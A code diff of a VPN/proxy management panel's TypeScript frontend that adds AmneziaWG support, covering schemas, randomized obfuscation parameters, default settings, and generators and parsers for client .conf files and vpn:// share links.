 }
 }
 
 
+export interface PeerActivity {
+  allowedIPs: string;
+  down: number;
+  email: string;
+  endpoint: string;
+  handshake: number;
+  inboundId: number;
+  interface: string;
+  online: boolean;
+  tag: string;
+  up: number;
+}
+
 export interface ProbeResultUI {
 export interface ProbeResultUI {
   cpuPct: number;
   cpuPct: number;
   error: string;
   error: string;
@@ -694,6 +717,46 @@ export interface RealityScanResult {
   x25519: boolean;
   x25519: boolean;
 }
 }
 
 
+export interface ServerSettings {
+  contentPaddingAddition?: string;
+  disableCookies: boolean;
+  externalInterface?: string;
+  h1: string;
+  h2: string;
+  h3: string;
+  h4: string;
+  headerProtectionKey?: string;
+  i1?: string;
+  i2?: string;
+  i3?: string;
+  i4?: string;
+  i5?: string;
+  ipv6Enabled?: boolean;
+  ipv6ExternalInterface?: string;
+  ipv6Subnet?: string;
+  jc: number;
+  jmax: number;
+  jmin: number;
+  keepaliveTimeout?: string;
+  maxHandshakeAttempts?: string;
+  mtu?: number;
+  primaryDns: string;
+  privateKey: string;
+  publicKey: string;
+  randomTrailers: boolean;
+  rejectAfterTime?: string;
+  rekeyAfterTime?: string;
+  rekeyTimeout?: string;
+  routeThroughXray?: boolean;
+  s1: number;
+  s2: number;
+  s3: number;
+  s4: number;
+  secondaryDns: string;
+  subnetCidr: number;
+  subnetIp: string;
+}
+
 export interface Setting {
 export interface Setting {
   id: number;
   id: number;
   key: string;
   key: string;

+ 67 - 1
frontend/src/generated/zod.ts

@@ -249,6 +249,13 @@ export const AllSettingViewSchema = z.object({
 });
 });
 export type AllSettingView = z.infer<typeof AllSettingViewSchema>;
 export type AllSettingView = z.infer<typeof AllSettingViewSchema>;
 
 
+export const AmneziaWGLogsSchema = z.object({
+  events: z.array(z.string()),
+  peers: z.array(z.lazy(() => PeerActivitySchema)),
+  running: z.boolean(),
+});
+export type AmneziaWGLogs = z.infer<typeof AmneziaWGLogsSchema>;
+
 export const ApiTokenSchema = z.object({
 export const ApiTokenSchema = z.object({
   createdAt: z.number().int(),
   createdAt: z.number().int(),
   enabled: z.boolean(),
   enabled: z.boolean(),
@@ -274,6 +281,7 @@ export type ApiTokenView = z.infer<typeof ApiTokenViewSchema>;
 export const ClientSchema = z.object({
 export const ClientSchema = z.object({
   adTag: z.string().optional(),
   adTag: z.string().optional(),
   allowedIPs: z.array(z.string()).optional(),
   allowedIPs: z.array(z.string()).optional(),
+  allowedIPsByInbound: z.record(z.number().int(), z.array(z.string())).optional(),
   auth: z.string().optional(),
   auth: z.string().optional(),
   comment: z.string(),
   comment: z.string(),
   created_at: z.number().int().optional(),
   created_at: z.number().int().optional(),
@@ -281,6 +289,7 @@ export const ClientSchema = z.object({
   enable: z.boolean(),
   enable: z.boolean(),
   expiryTime: z.number().int(),
   expiryTime: z.number().int(),
   flow: z.string().optional(),
   flow: z.string().optional(),
+  forwardedPorts: z.string().optional(),
   group: z.string().optional(),
   group: z.string().optional(),
   id: z.string().optional(),
   id: z.string().optional(),
   keepAlive: z.number().int().optional(),
   keepAlive: z.number().int().optional(),
@@ -322,6 +331,7 @@ export const ClientRecordSchema = z.object({
   enable: z.boolean(),
   enable: z.boolean(),
   expiryTime: z.number().int(),
   expiryTime: z.number().int(),
   flow: z.string(),
   flow: z.string(),
+  forwardedPorts: z.string(),
   group: z.string(),
   group: z.string(),
   id: z.number().int(),
   id: z.number().int(),
   keepAlive: z.number().int(),
   keepAlive: z.number().int(),
@@ -513,7 +523,7 @@ export const InboundSchema = z.object({
   nodeId: z.number().int().nullable().optional(),
   nodeId: z.number().int().nullable().optional(),
   originNodeGuid: z.string().optional(),
   originNodeGuid: z.string().optional(),
   port: z.number().int().min(0).max(65535),
   port: z.number().int().min(0).max(65535),
-  protocol: z.enum(['vmess', 'vless', 'trojan', 'shadowsocks', 'wireguard', 'hysteria', 'http', 'mixed', 'tunnel', 'tun', 'mtproto']),
+  protocol: z.enum(['vmess', 'vless', 'trojan', 'shadowsocks', 'wireguard', 'hysteria', 'http', 'mixed', 'tunnel', 'tun', 'mtproto', 'amneziawg']),
   remark: z.string(),
   remark: z.string(),
   settings: z.unknown(),
   settings: z.unknown(),
   shareAddr: z.string(),
   shareAddr: z.string(),
@@ -550,6 +560,7 @@ export const InboundFallbackSchema = z.object({
 export type InboundFallback = z.infer<typeof InboundFallbackSchema>;
 export type InboundFallback = z.infer<typeof InboundFallbackSchema>;
 
 
 export const InboundOptionSchema = z.object({
 export const InboundOptionSchema = z.object({
+  awgServer: z.lazy(() => ServerSettingsSchema).nullable().optional(),
   enable: z.boolean(),
   enable: z.boolean(),
   id: z.number().int(),
   id: z.number().int(),
   listen: z.string().optional(),
   listen: z.string().optional(),
@@ -703,6 +714,20 @@ export const PanelUpdateStatusSchema = z.object({
 });
 });
 export type PanelUpdateStatus = z.infer<typeof PanelUpdateStatusSchema>;
 export type PanelUpdateStatus = z.infer<typeof PanelUpdateStatusSchema>;
 
 
+export const PeerActivitySchema = z.object({
+  allowedIPs: z.string(),
+  down: z.number().int(),
+  email: z.string(),
+  endpoint: z.string(),
+  handshake: z.number().int(),
+  inboundId: z.number().int(),
+  interface: z.string(),
+  online: z.boolean(),
+  tag: z.string(),
+  up: z.number().int(),
+});
+export type PeerActivity = z.infer<typeof PeerActivitySchema>;
+
 export const ProbeResultUISchema = z.object({
 export const ProbeResultUISchema = z.object({
   cpuPct: z.number(),
   cpuPct: z.number(),
   error: z.string(),
   error: z.string(),
@@ -741,6 +766,47 @@ export const RealityScanResultSchema = z.object({
 });
 });
 export type RealityScanResult = z.infer<typeof RealityScanResultSchema>;
 export type RealityScanResult = z.infer<typeof RealityScanResultSchema>;
 
 
+export const ServerSettingsSchema = z.object({
+  contentPaddingAddition: z.string().optional(),
+  disableCookies: z.boolean(),
+  externalInterface: z.string().optional(),
+  h1: z.string(),
+  h2: z.string(),
+  h3: z.string(),
+  h4: z.string(),
+  headerProtectionKey: z.string().optional(),
+  i1: z.string().optional(),
+  i2: z.string().optional(),
+  i3: z.string().optional(),
+  i4: z.string().optional(),
+  i5: z.string().optional(),
+  ipv6Enabled: z.boolean().optional(),
+  ipv6ExternalInterface: z.string().optional(),
+  ipv6Subnet: z.string().optional(),
+  jc: z.number().int(),
+  jmax: z.number().int(),
+  jmin: z.number().int(),
+  keepaliveTimeout: z.string().optional(),
+  maxHandshakeAttempts: z.string().optional(),
+  mtu: z.number().int().optional(),
+  primaryDns: z.string(),
+  privateKey: z.string(),
+  publicKey: z.string(),
+  randomTrailers: z.boolean(),
+  rejectAfterTime: z.string().optional(),
+  rekeyAfterTime: z.string().optional(),
+  rekeyTimeout: z.string().optional(),
+  routeThroughXray: z.boolean().optional(),
+  s1: z.number().int(),
+  s2: z.number().int(),
+  s3: z.number().int(),
+  s4: z.number().int(),
+  secondaryDns: z.string(),
+  subnetCidr: z.number().int(),
+  subnetIp: z.string(),
+});
+export type ServerSettings = z.infer<typeof ServerSettingsSchema>;
+
 export const SettingSchema = z.object({
 export const SettingSchema = z.object({
   id: z.number().int(),
   id: z.number().int(),
   key: z.string(),
   key: z.string(),

+ 125 - 0
frontend/src/lib/xray/amneziawg-obfuscation.ts

@@ -0,0 +1,125 @@
+import type { AmneziawgServer } from '@/schemas/protocols/inbound/amneziawg';
+
+/*
+ * Client-side AmneziaWG 3.1 obfuscation generator, mirroring the ranges and
+ * constraints of the Go backend's amneziawg.GenerateObfuscation31
+ * (internal/amneziawg/params.go). Exact parity isn't required — the user can
+ * edit any field afterward and the backend validates on save — but the two
+ * generators must stay range-compatible so a value produced here always
+ * passes the Go-side ValidateObfuscation.
+ */
+
+export type AwgObfuscation = Pick<
+  AmneziawgServer,
+  | 'jc'
+  | 'jmin'
+  | 'jmax'
+  | 's1'
+  | 's2'
+  | 's3'
+  | 's4'
+  | 'h1'
+  | 'h2'
+  | 'h3'
+  | 'h4'
+  | 'i1'
+  | 'i2'
+  | 'i3'
+  | 'i4'
+  | 'i5'
+  | 'headerProtectionKey'
+  | 'contentPaddingAddition'
+  | 'rekeyAfterTime'
+  | 'rekeyTimeout'
+  | 'rejectAfterTime'
+  | 'keepaliveTimeout'
+  | 'maxHandshakeAttempts'
+  | 'randomTrailers'
+  | 'disableCookies'
+>;
+
+const randInt = (min: number, max: number) => min + Math.floor(Math.random() * (max - min + 1));
+
+/*
+ * base64 of 32 crypto-grade random bytes — the exact HeaderProtectionKey
+ * shape amneziawg-tools parses and the Go backend validates.
+ */
+const generateHeaderProtectionKey = (): string => {
+  const bytes = new Uint8Array(32);
+  crypto.getRandomValues(bytes);
+  return btoa(String.fromCharCode(...bytes));
+};
+
+/*
+ * Four non-overlapping "low-high" ranges for H1-H4: split the space into
+ * four bands and take a random sub-range from each (>= 1000 wide, low
+ * bound >= 5 since 1-4 are reserved for vanilla WireGuard message types).
+ */
+const generateHRanges = (): [string, string, string, string] => {
+  const hMax = 2147483647;
+  const hMinWidth = 1000;
+  const lo = 5;
+  const bandSize = Math.floor((hMax - lo + 1) / 4);
+  return Array.from({ length: 4 }, (_, i) => {
+    const bandLo = lo + i * bandSize;
+    const bandHi = bandLo + bandSize - 1;
+    const start = randInt(bandLo, bandHi - hMinWidth - 1);
+    const end = randInt(start + hMinWidth, bandHi - 1);
+    return `${start}-${end}`;
+  }) as [string, string, string, string];
+};
+
+export function generateAwgObfuscation(): AwgObfuscation {
+  const jmin = randInt(40, 89);
+  const s1 = randInt(15, 150);
+  let s2 = randInt(15, 150);
+  while (s1 + 56 === s2) {
+    s2 = randInt(15, 150);
+  }
+  const [h1, h2, h3, h4] = generateHRanges();
+
+  /*
+   * Timing windows bracket WireGuard's stock constants (rekey 120s, reject
+   * 180s, retry 5s, keepalive 10s); every reject value exceeds every rekey
+   * value by >= 30s by construction, matching the Go generator and its
+   * ValidateObfuscation cross-check. Content padding stays <= 64 total for
+   * the same MTU-headroom reason that caps s4 at 32.
+   */
+  const cpLo = randInt(8, 24);
+  const rekeyLo = randInt(100, 120);
+  const rekeyHi = rekeyLo + randInt(10, 40);
+  const rejectLo = rekeyHi + randInt(30, 60);
+  const rekeyTimeoutLo = randInt(3, 6);
+  const keepaliveLo = randInt(8, 12);
+  const attemptsLo = randInt(15, 25);
+
+  return {
+    jc: randInt(3, 6),
+    jmin,
+    jmax: jmin + randInt(50, 250),
+    s1,
+    s2,
+    // Floored at 12, not the protocol's 0/8/4 minima: headerProtectionKey is
+    // always generated below, and IpcSet rejects it unless every s1-s4 >= 12.
+    s3: randInt(12, 55),
+    s4: randInt(12, 27),
+    h1,
+    h2,
+    h3,
+    h4,
+    i1: `<r ${randInt(32, 256)}>`,
+    i2: '',
+    i3: '',
+    i4: '',
+    i5: '',
+    headerProtectionKey: generateHeaderProtectionKey(),
+    contentPaddingAddition: `${cpLo}-${cpLo + randInt(8, 40)}`,
+    rekeyAfterTime: `${rekeyLo}-${rekeyHi}`,
+    rekeyTimeout: `${rekeyTimeoutLo}-${rekeyTimeoutLo + randInt(1, 4)}`,
+    rejectAfterTime: `${rejectLo}-${rejectLo + randInt(30, 90)}`,
+    keepaliveTimeout: `${keepaliveLo}-${keepaliveLo + randInt(2, 8)}`,
+    maxHandshakeAttempts: `${attemptsLo}-${attemptsLo + randInt(5, 25)}`,
+    randomTrailers: true,
+    disableCookies: true,
+  };
+}

+ 44 - 1
frontend/src/lib/xray/inbound-defaults.ts

@@ -1,5 +1,7 @@
 import { RandomUtil, Wireguard } from '@/utils';
 import { RandomUtil, Wireguard } from '@/utils';
+import { generateAwgObfuscation } from '@/lib/xray/amneziawg-obfuscation';
 
 
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 import type { HttpInboundSettings } from '@/schemas/protocols/inbound/http';
 import type { HttpInboundSettings } from '@/schemas/protocols/inbound/http';
 import type { HysteriaClient, HysteriaInboundSettings } from '@/schemas/protocols/inbound/hysteria';
 import type { HysteriaClient, HysteriaInboundSettings } from '@/schemas/protocols/inbound/hysteria';
 import type { MixedInboundSettings } from '@/schemas/protocols/inbound/mixed';
 import type { MixedInboundSettings } from '@/schemas/protocols/inbound/mixed';
@@ -263,12 +265,20 @@ export interface WireguardInboundSeed {
   mtu?: number;
   mtu?: number;
   secretKey?: string;
   secretKey?: string;
   noKernelTun?: boolean;
   noKernelTun?: boolean;
+  subnetIp?: string;
+  subnetCidr?: number;
 }
 }
 
 
 // WireGuard is multi-client now: a new inbound holds only the server identity
 // WireGuard is multi-client now: a new inbound holds only the server identity
 // (secretKey/mtu) and starts with no clients. Clients (peers) are added later
 // (secretKey/mtu) and starts with no clients. Clients (peers) are added later
 // through the client modal, which generates each one's keypair and a unique
 // through the client modal, which generates each one's keypair and a unique
 // tunnel address. peers stays empty for backward-compatible parsing.
 // tunnel address. peers stays empty for backward-compatible parsing.
+//
+// subnetIp/subnetCidr default to 10.0.0.0/24 here — the same value the Go
+// backend has always fallen back to for an inbound with no clients yet — so
+// a freshly created inbound shows an explicit, editable value from the
+// start (matching AmneziaWG's own subnet field), rather than an empty one
+// that silently relies on server-side inference until an admin fills it in.
 export function createDefaultWireguardInboundSettings(
 export function createDefaultWireguardInboundSettings(
   seed: WireguardInboundSeed = {},
   seed: WireguardInboundSeed = {},
 ): WireguardInboundSettings {
 ): WireguardInboundSettings {
@@ -278,6 +288,36 @@ export function createDefaultWireguardInboundSettings(
     peers: [],
     peers: [],
     clients: [],
     clients: [],
     noKernelTun: seed.noKernelTun ?? false,
     noKernelTun: seed.noKernelTun ?? false,
+    subnetIp: seed.subnetIp ?? '10.0.0.0',
+    subnetCidr: seed.subnetCidr ?? 24,
+  };
+}
+
+// AmneziaWG is multi-client, like WireGuard, and uses the same Curve25519
+// keypair format — Wireguard.generateKeypair() works unchanged. Unlike
+// WireGuard's Xray-native inbound, the server's publicKey is a real
+// persisted field here (the Go backend reads it directly rather than
+// re-deriving it), so it's seeded alongside privateKey. The obfuscation
+// parameters are randomized per inbound (a static default would give every
+// install the same DPI fingerprint), mirroring the Go backend's
+// internal/amneziawg.GenerateObfuscation31.
+export function createDefaultAmneziawgInboundSettings(): AmneziawgInboundSettings {
+  const kp = Wireguard.generateKeypair();
+  return {
+    server: {
+      privateKey: kp.privateKey,
+      publicKey: kp.publicKey,
+      subnetIp: '10.8.1.0',
+      subnetCidr: 24,
+      primaryDns: '8.8.8.8',
+      secondaryDns: '8.8.4.4',
+      externalInterface: '',
+      ipv6Enabled: false,
+      ipv6Subnet: '',
+      ipv6ExternalInterface: '',
+      ...generateAwgObfuscation(),
+    },
+    clients: [],
   };
   };
 }
 }
 
 
@@ -297,7 +337,8 @@ export type AnyInboundSettings =
   | TunInboundSettings
   | TunInboundSettings
   | TunnelInboundSettings
   | TunnelInboundSettings
   | WireguardInboundSettings
   | WireguardInboundSettings
-  | MtprotoInboundSettings;
+  | MtprotoInboundSettings
+  | AmneziawgInboundSettings;
 
 
 export function createDefaultInboundSettings(protocol: string): AnyInboundSettings | null {
 export function createDefaultInboundSettings(protocol: string): AnyInboundSettings | null {
   switch (protocol) {
   switch (protocol) {
@@ -323,6 +364,8 @@ export function createDefaultInboundSettings(protocol: string): AnyInboundSettin
       return createDefaultWireguardInboundSettings();
       return createDefaultWireguardInboundSettings();
     case 'mtproto':
     case 'mtproto':
       return createDefaultMtprotoInboundSettings();
       return createDefaultMtprotoInboundSettings();
+    case 'amneziawg':
+      return createDefaultAmneziawgInboundSettings();
     default:
     default:
       return null;
       return null;
   }
   }

+ 3 - 0
frontend/src/lib/xray/inbound-form-adapter.ts

@@ -5,6 +5,7 @@ import type {
 } from '@/schemas/forms/inbound-form';
 } from '@/schemas/forms/inbound-form';
 import type { InboundSettings } from '@/schemas/protocols/inbound';
 import type { InboundSettings } from '@/schemas/protocols/inbound';
 import {
 import {
+  AmneziawgClientSchema,
   HysteriaClientSchema,
   HysteriaClientSchema,
   MtprotoClientSchema,
   MtprotoClientSchema,
   ShadowsocksClientSchema,
   ShadowsocksClientSchema,
@@ -268,6 +269,8 @@ function clientSchemaForProtocol(protocol: string): z.ZodType | null {
       return WireguardClientSchema;
       return WireguardClientSchema;
     case 'mtproto':
     case 'mtproto':
       return MtprotoClientSchema;
       return MtprotoClientSchema;
+    case 'amneziawg':
+      return AmneziawgClientSchema;
     default:
     default:
       return null;
       return null;
   }
   }

+ 195 - 1
frontend/src/lib/xray/inbound-link.ts

@@ -1,6 +1,7 @@
 import { Base64, Wireguard } from '@/utils';
 import { Base64, Wireguard } from '@/utils';
 
 
 import type { Inbound } from '@/schemas/api/inbound';
 import type { Inbound } from '@/schemas/api/inbound';
+import type { AmneziawgInboundSettings } from '@/schemas/protocols/inbound/amneziawg';
 import type { VlessClient } from '@/schemas/protocols/inbound/vless';
 import type { VlessClient } from '@/schemas/protocols/inbound/vless';
 import type { VmessSecurity } from '@/schemas/protocols/shared/vmess';
 import type { VmessSecurity } from '@/schemas/protocols/shared/vmess';
 import type {
 import type {
@@ -911,6 +912,168 @@ export function genWireguardConfig(input: GenWireguardLinkInput): string {
   return txt;
   return txt;
 }
 }
 
 
+// Shared input shape for both the per-client vpn:// link and .conf
+// builders below — settings.clients (not a peers array; unlike WireGuard,
+// AmneziaWG was multi-client from day one, so there's no legacy format).
+export interface GenAmneziaWGLinkInput {
+  settings: AmneziawgInboundSettings;
+  address: string;
+  port: number;
+  remark?: string;
+  peerIndex: number;
+}
+
+function amneziaWGHLine(key: string, value: string | undefined, fallback: string): string {
+  return `${key} = ${value && value.trim() !== '' ? value : fallback}`;
+}
+
+// Base64url (RFC 4648 §5), no padding — matches the real AmneziaVPN app's
+// own Qt::Base64UrlEncoding | Qt::OmitTrailingEquals framing for vpn:// links.
+function toBase64Url(text: string): string {
+  const bytes = new TextEncoder().encode(text);
+  let binary = '';
+  for (const b of bytes) binary += String.fromCharCode(b);
+  return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
+}
+
+// AmneziaWG share link: vpn://<base64url .conf text>, matching the real
+// AmneziaVPN app's own share-link scheme. The app's import path base64url-
+// decodes, best-effort qUncompresses (falls back to the raw bytes when the
+// input isn't qCompress-framed, which plain text never is), then parses the
+// result as a flat bag of "Key = Value" lines regardless of which
+// [Interface]/[Peer] section they came from — so wrapping the same .conf
+// text genAmneziaWGConfig already produces is sufficient; no JSON schema or
+// compression needs replicating. Confirmed against the app's own source
+// (importController.cpp's checkConfigFormat/extractWireGuardConfig).
+export function genAmneziaWGLink(input: GenAmneziaWGLinkInput): string {
+  const cfgText = genAmneziaWGConfig(input);
+  if (!cfgText) return '';
+  return `vpn://${toBase64Url(cfgText)}`;
+}
+
+// Plain-text AmneziaWG client config (.conf format). Mirrors
+// genWireguardConfig, plus the obfuscation lines every AmneziaWG client must
+// share with the server (see internal/amneziawg.writeObfuscation on the Go
+// side).
+export function genAmneziaWGConfig(input: GenAmneziaWGLinkInput): string {
+  const { settings, address, port, remark = '', peerIndex } = input;
+  const client = settings.clients[peerIndex];
+  if (!client) return '';
+  const server = settings.server;
+
+  // These land unescaped in the .conf; a newline would inject a config line
+  // (e.g. a rogue PostUp) — same guard as the panel's other two emitters.
+  for (const v of [
+    client.privateKey ?? '',
+    server.primaryDns ?? '',
+    server.secondaryDns ?? '',
+    remark,
+  ]) {
+    if (/[\r\n]/.test(v)) return '';
+  }
+
+  let txt = `[Interface]\n`;
+  txt += `PrivateKey = ${client.privateKey ?? ''}\n`;
+  txt += `Address = ${(client.allowedIPs ?? []).join(', ')}\n`;
+  const dns = [server.primaryDns, server.secondaryDns].filter((v) => !!v && v.trim() !== '');
+  if (dns.length > 0) txt += `DNS = ${dns.join(', ')}\n`;
+  if (typeof server.mtu === 'number' && server.mtu > 0) {
+    txt += `MTU = ${server.mtu}\n`;
+  }
+  txt += `Jc = ${server.jc}\n`;
+  txt += `Jmin = ${server.jmin}\n`;
+  txt += `Jmax = ${server.jmax}\n`;
+  txt += `S1 = ${server.s1}\n`;
+  txt += `S2 = ${server.s2}\n`;
+  if (server.s3) txt += `S3 = ${server.s3}\n`;
+  if (server.s4) txt += `S4 = ${server.s4}\n`;
+  txt += `${amneziaWGHLine('H1', server.h1, '1')}\n`;
+  txt += `${amneziaWGHLine('H2', server.h2, '2')}\n`;
+  txt += `${amneziaWGHLine('H3', server.h3, '3')}\n`;
+  txt += `${amneziaWGHLine('H4', server.h4, '4')}\n`;
+  if (server.i1) txt += `I1 = ${server.i1}\n`;
+  if (server.i2) txt += `I2 = ${server.i2}\n`;
+  if (server.i3) txt += `I3 = ${server.i3}\n`;
+  if (server.i4) txt += `I4 = ${server.i4}\n`;
+  if (server.i5) txt += `I5 = ${server.i5}\n`;
+  const optional31: Array<[string, string | undefined]> = [
+    ['HeaderProtectionKey', server.headerProtectionKey],
+    ['ContentPaddingAddition', server.contentPaddingAddition],
+    ['RekeyAfterTime', server.rekeyAfterTime],
+    ['RekeyTimeout', server.rekeyTimeout],
+    ['RejectAfterTime', server.rejectAfterTime],
+    ['KeepaliveTimeout', server.keepaliveTimeout],
+    ['MaxHandshakeAttempts', server.maxHandshakeAttempts],
+  ];
+  for (const [key, value] of optional31) {
+    if (value && value.trim() !== '') txt += `${key} = ${value}\n`;
+  }
+  if (server.randomTrailers) txt += `RandomTrailers = on\n`;
+  if (server.disableCookies) txt += `DisableCookies = on\n`;
+  // Peer field order follows wg-quick(8) and the panel's other two AmneziaWG
+  // emitters (amneziaWGConfigText in Go, buildAmneziaWGClientConfig); all three
+  // are independent implementations and must not drift apart.
+  txt += `\n# ${remark}\n`;
+  txt += `[Peer]\n`;
+  txt += `PublicKey = ${server.publicKey ?? ''}\n`;
+  if (client.preSharedKey && client.preSharedKey.length > 0) {
+    txt += `PresharedKey = ${client.preSharedKey}\n`;
+  }
+  txt += `AllowedIPs = 0.0.0.0/0, ::/0\n`;
+  txt += `Endpoint = ${address}:${port}`;
+  if (typeof client.keepAlive === 'number' && client.keepAlive > 0) {
+    txt += `\nPersistentKeepalive = ${client.keepAlive}`;
+  }
+  return txt;
+}
+
+export interface GenAmneziaWGFanoutInput {
+  inbound: Inbound;
+  remark?: string;
+  hostOverride?: string;
+  fallbackHostname: string;
+}
+
+export function genAmneziaWGLinks(input: GenAmneziaWGFanoutInput): string {
+  const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
+  if (inbound.protocol !== 'amneziawg') return '';
+  const addr = resolveAddr(inbound, hostOverride, fallbackHostname);
+  const sep = '-';
+  const settings = inbound.settings as AmneziawgInboundSettings;
+  const clients = settings.clients ?? [];
+  return clients
+    .map((c, i) =>
+      genAmneziaWGLink({
+        settings,
+        address: addr,
+        port: inbound.port,
+        remark: `${remark}${sep}${i + 1}${wgPeerCommentSuffix(c)}`,
+        peerIndex: i,
+      }),
+    )
+    .join('\r\n');
+}
+
+export function genAmneziaWGConfigs(input: GenAmneziaWGFanoutInput): string {
+  const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
+  if (inbound.protocol !== 'amneziawg') return '';
+  const addr = resolveAddr(inbound, hostOverride, fallbackHostname);
+  const sep = '-';
+  const settings = inbound.settings as AmneziawgInboundSettings;
+  const clients = settings.clients ?? [];
+  return clients
+    .map((c, i) =>
+      genAmneziaWGConfig({
+        settings,
+        address: addr,
+        port: inbound.port,
+        remark: `${remark}${sep}${i + 1}${wgPeerCommentSuffix(c)}`,
+        peerIndex: i,
+      }),
+    )
+    .join('\r\n');
+}
+
 export function wireguardConfigFromLink(link: string, fallbackRemark = ''): string {
 export function wireguardConfigFromLink(link: string, fallbackRemark = ''): string {
   let url: URL;
   let url: URL;
   try {
   try {
@@ -971,6 +1134,34 @@ export function wireguardConfigFromLink(link: string, fallbackRemark = ''): stri
   return lines.join('\n');
   return lines.join('\n');
 }
 }
 
 
+// Reverse of toBase64Url above -- recovers a vpn:// link's plain .conf
+// payload for display/copy/download/QR, the AmneziaWG counterpart of
+// wireguardConfigFromLink. Simpler than that function: a vpn:// link's
+// payload already *is* the .conf text (see genAmneziaWGLink's own doc
+// comment), so there's nothing to reconstruct from query params -- just
+// decode. Mirrors link-label.tsx's own private fromBase64Url (used there
+// only to pull the remark/port back out for the tag label); duplicated
+// rather than imported since both are tiny, self-contained, and each
+// file already owns the matching encode or decode half of this pair.
+function fromBase64Url(value: string): string {
+  const b64 = value.replace(/-/g, '+').replace(/_/g, '/');
+  const padded = b64 + '='.repeat((4 - (b64.length % 4)) % 4);
+  const binary = atob(padded);
+  const bytes = new Uint8Array(binary.length);
+  for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
+  return new TextDecoder().decode(bytes);
+}
+
+export function amneziawgConfigFromLink(link: string): string {
+  const trimmed = link.trim();
+  if (!trimmed.startsWith('vpn://')) return '';
+  try {
+    return fromBase64Url(trimmed.slice('vpn://'.length));
+  } catch {
+    return '';
+  }
+}
+
 export type { WireguardInboundPeer };
 export type { WireguardInboundPeer };
 
 
 function isUnixSocketListen(listen: string): boolean {
 function isUnixSocketListen(listen: string): boolean {
@@ -1282,7 +1473,7 @@ export interface GenInboundLinksInput {
 // Top-level entrypoint that produces the full \r\n-joined block a user
 // Top-level entrypoint that produces the full \r\n-joined block a user
 // pastes into a client. Iterates per-client for protocols with clients,
 // pastes into a client. Iterates per-client for protocols with clients,
 // falls back to a single SS link for single-user 2022-blake3-chacha20,
 // falls back to a single SS link for single-user 2022-blake3-chacha20,
-// and emits per-peer .conf blocks for wireguard. Returns '' for the
+// and emits per-peer .conf blocks for wireguard and amneziawg. Returns '' for the
 // other clientless protocols (http, mixed, tunnel).
 // other clientless protocols (http, mixed, tunnel).
 export function genInboundLinks(input: GenInboundLinksInput): string {
 export function genInboundLinks(input: GenInboundLinksInput): string {
   const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
   const { inbound, remark = '', hostOverride = '', fallbackHostname } = input;
@@ -1308,6 +1499,9 @@ export function genInboundLinks(input: GenInboundLinksInput): string {
   if (inbound.protocol === 'wireguard') {
   if (inbound.protocol === 'wireguard') {
     return genWireguardConfigs({ inbound, remark, hostOverride, fallbackHostname });
     return genWireguardConfigs({ inbound, remark, hostOverride, fallbackHostname });
   }
   }
+  if (inbound.protocol === 'amneziawg') {
+    return genAmneziaWGConfigs({ inbound, remark, hostOverride, fallbackHostname });
+  }
   return '';
   return '';
 }
 }
 
 

+ 1 - 1
frontend/src/lib/xray/inbound-tag.ts

@@ -14,7 +14,7 @@ function inboundTransports(
   streamSettings: Record<string, unknown> | undefined,
   streamSettings: Record<string, unknown> | undefined,
   settings: Record<string, unknown> | undefined,
   settings: Record<string, unknown> | undefined,
 ): TransportBits {
 ): TransportBits {
-  if (protocol === 'hysteria' || protocol === 'wireguard') return UDP;
+  if (protocol === 'hysteria' || protocol === 'wireguard' || protocol === 'amneziawg') return UDP;
 
 
   let bits: TransportBits = 0;
   let bits: TransportBits = 0;
   const network = asString(streamSettings?.network);
   const network = asString(streamSettings?.network);

+ 28 - 0
frontend/src/lib/xray/link-label.tsx

@@ -26,6 +26,7 @@ const PROTOCOL_LABELS: Record<string, string> = {
   wireguard: 'WireGuard',
   wireguard: 'WireGuard',
   wg: 'WireGuard',
   wg: 'WireGuard',
   tg: 'MTProto',
   tg: 'MTProto',
+  vpn: 'AmneziaWG',
 };
 };
 
 
 const PROTOCOL_COLORS: Record<string, string> = {
 const PROTOCOL_COLORS: Record<string, string> = {
@@ -37,6 +38,7 @@ const PROTOCOL_COLORS: Record<string, string> = {
   Hysteria2: 'magenta',
   Hysteria2: 'magenta',
   WireGuard: 'cyan',
   WireGuard: 'cyan',
   MTProto: 'blue',
   MTProto: 'blue',
+  AmneziaWG: 'yellow',
 };
 };
 
 
 const SECURITY_COLORS: Record<string, string> = {
 const SECURITY_COLORS: Record<string, string> = {
@@ -50,6 +52,18 @@ const TRANSPORT_COLOR = 'gold';
 
 
 const TAG_STYLE = { marginInlineEnd: 0, fontWeight: 600, letterSpacing: '0.3px' };
 const TAG_STYLE = { marginInlineEnd: 0, fontWeight: 600, letterSpacing: '0.3px' };
 
 
+// Reverse of inbound-link.ts's own toBase64Url — base64url (RFC 4648 §5, no
+// padding) back to the original unicode text, needed to read the remark/
+// endpoint back out of a vpn:// link's opaque payload below.
+function fromBase64Url(value: string): string {
+  const b64 = value.replace(/-/g, '+').replace(/_/g, '/');
+  const padded = b64 + '='.repeat((4 - (b64.length % 4)) % 4);
+  const binary = atob(padded);
+  const bytes = new Uint8Array(binary.length);
+  for (let i = 0; i < binary.length; i++) bytes[i] = binary.charCodeAt(i);
+  return new TextDecoder().decode(bytes);
+}
+
 /* Pull protocol, transport, security plus the remark and port out of a share
 /* Pull protocol, transport, security plus the remark and port out of a share
    link. vless/trojan carry network+security as `type`/`security` query params
    link. vless/trojan carry network+security as `type`/`security` query params
    and the remark in the URL hash; vmess packs them into the base64 JSON as
    and the remark in the URL hash; vmess packs them into the base64 JSON as
@@ -83,6 +97,20 @@ export function parseLinkParts(link: string): LinkParts | null {
     } catch {
     } catch {
       /* unparseable payload, fall back to protocol only */
       /* unparseable payload, fall back to protocol only */
     }
     }
+  } else if (scheme === 'vpn') {
+    /* AmneziaWG's vpn:// links are base64url of a plain .conf text (matching
+       the real AmneziaVPN app's own share-link scheme), not a structured URL
+       — there's no query string or #hash to read a remark/port from without
+       corrupting the payload the app itself needs to decode. The remark and
+       endpoint are still in there as plain .conf lines, though, so pull them
+       back out directly. */
+    try {
+      const cfgText = fromBase64Url(trimmed.slice('vpn://'.length));
+      remark = /^#\s?(.*)$/m.exec(cfgText)?.[1]?.trim() ?? '';
+      port = /^Endpoint\s*=\s*.+:(\d+)\s*$/m.exec(cfgText)?.[1] ?? '';
+    } catch {
+      /* unparseable payload, fall back to protocol only */
+    }
   } else {
   } else {
     try {
     try {
       const url = new URL(trimmed);
